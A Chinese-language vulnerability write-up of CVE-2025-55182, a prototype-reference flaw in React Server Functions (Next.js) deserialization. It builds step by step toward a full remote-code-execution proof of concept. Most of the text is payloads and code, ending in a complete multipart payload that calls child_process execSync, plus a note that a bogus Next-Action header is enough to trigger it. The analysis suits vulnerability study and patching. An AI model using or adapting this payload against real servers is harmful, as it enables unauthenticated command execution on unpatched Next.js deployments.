
关于CVE-2025-55182的说明及完整RCE PoC
此漏洞允许在 React Server Functions 中实现 RCE,例如 Next.js 通过不安全的原型引用提供的功能。
我不是 React 或 Next.js 的专家,因此请对这里的所有信息持保留态度。
React 提供了 Server Functions1,可视为一种基于 HTTP 的 RPC(远程过程调用)。它们可用于从相邻对等节点获取数据以确保低延迟,或执行客户端缺乏凭据的已验证请求。
React 使用称为 React Flight Protocol2 的协议来序列化传递给 Server Functions 的值。
客户端向服务器传递“chunks”(数据块),例如通过表单数据:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
如图所示,这些块之间可以相互引用。上述负载在服务器端反序列化为以下内容:
{ object: 'fruit', name: 'cherry' }
该格式本身更为复杂,允许更复杂的序列化和反序列化,但这为理解实际漏洞提供了基础。
在此提交3之前,当在引用解析中遍历数据块时(例如,从上述示例的块2中获取 fruitName),React 并未验证请求的键是否实际存在于对象上。这允许我们获取对象的原型4。
以下面的负载为例:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
它反序列化为函数构造函数5:
[Function: Function]
当 ID 为 0 的块不是数组而是对象时,我们可以将 then 键设置为函数构造函数。然后,该对象由 decodeReplyFromBusboy 函数返回,并被 Next.js 使用 await 处理:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
当它返回一个 thenable 对象时,调用者中的 await 将调用它。这正是以下负载所发生的情况:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
导致以下错误:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
错误看起来如此是因为 V8 在 await 一个函数时,会使用内部的 resolve 和 reject 函数调用它,这些函数在 toString 后会序列化为类似下面的内容:
function () { [native code] }
由于我们可以轻易地获取 Function 构造函数,直接的方法是找到一个调用构造函数的 gadget,该 gadget 使用用户控制的值(即函数代码字符串)调用构造函数,然后调用返回的函数。
有多种地方可以调用函数构造函数,例如 resolveServerReference,其中 id 是一个可控对象,lastIndexOf 可以被覆盖以返回用户控制的字符串(例如通过 Array.prototype.join),而 slice 可以被覆盖为函数构造函数。然而,这个位置不起作用,因为 .slice() 的第二次调用会提供一个数字作为第一个参数——据我所知,这个数字永远无法被函数构造函数处理。
这里,maple31426 的一个绝妙想法出现了。当 getChunk 获取 ID 为 0 的块作为根引用以开始解析引用链时,这个相同的块可以解析为一个精心构造的“假块”。
我们可以通过使用 $@ 语法在块1中引用精心构造的块0,该语法返回“原始”块,而不是其解析后的值:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
结合我们上面覆盖的 then,我们可以构造如下内容:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
这里,块0用自身原始块表示的 .then() 覆盖了自己的 .then()。简单来说,我们用自己的 .then() 覆盖了 Chunk.prototype.then,而 Chunk 是 thenable 对象,因此 Chunk.prototype.then 是存在的:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
使用上述负载,Chunk.prototype.then 最终会被调用,参数是 ID 为 0 的精心构造的块。
如上所示,当我们的假块中的 .status 为 resolved_model 时:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
我们会进入 initializeModelChunk。在这里,.value 被解析为 JSON,然后在返回的对象上解析引用,使用我们块 0 和 1 的“外部”上下文:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
在此过程中,我们获得了第二次求值传递,由于外部上下文已经解析完成,我们可以访问更多值。
在 flight 协议中,处理 $B 前缀的 blob 数据时存在一个调用 gadget:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
利用特殊的 _response 字段,我们可以控制精心构造的块的 response 属性:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
因此,我们可以构造一个具有假的 ._formData 和 ._prefix 属性的对象:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
需要添加 .reason 以避免在 initializeModelChunk 中的 toString 调用失败:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
通过将 ._formData 指向函数构造函数,并将 ._prefix 指向我们的代码,我们在 blob 反序列化中获得了函数构造函数的调用 gadget:
response._formData.get(response._prefix + "0")
// 变成
Function("return foo; // 0")
我们精心构造的函数随后作为精心构造块的 .then() 方法返回,并且该函数也会被 await,因为这一切都发生在一个单一的 promise 解析链中。因此,返回一个 thenable 对象,我们精心构造的函数被调用。这构成了上述所需的调用 gadget。
将所有内容组合成一个实际的 RCE 负载,得到如下内容:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
更糟糕的是,这一切都发生在反序列化期间,远在请求的操作被 getActionModIdOrError 验证之前。因此,设置一个像 Next-Action: foo 这样的头部就足以触发此漏洞。
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E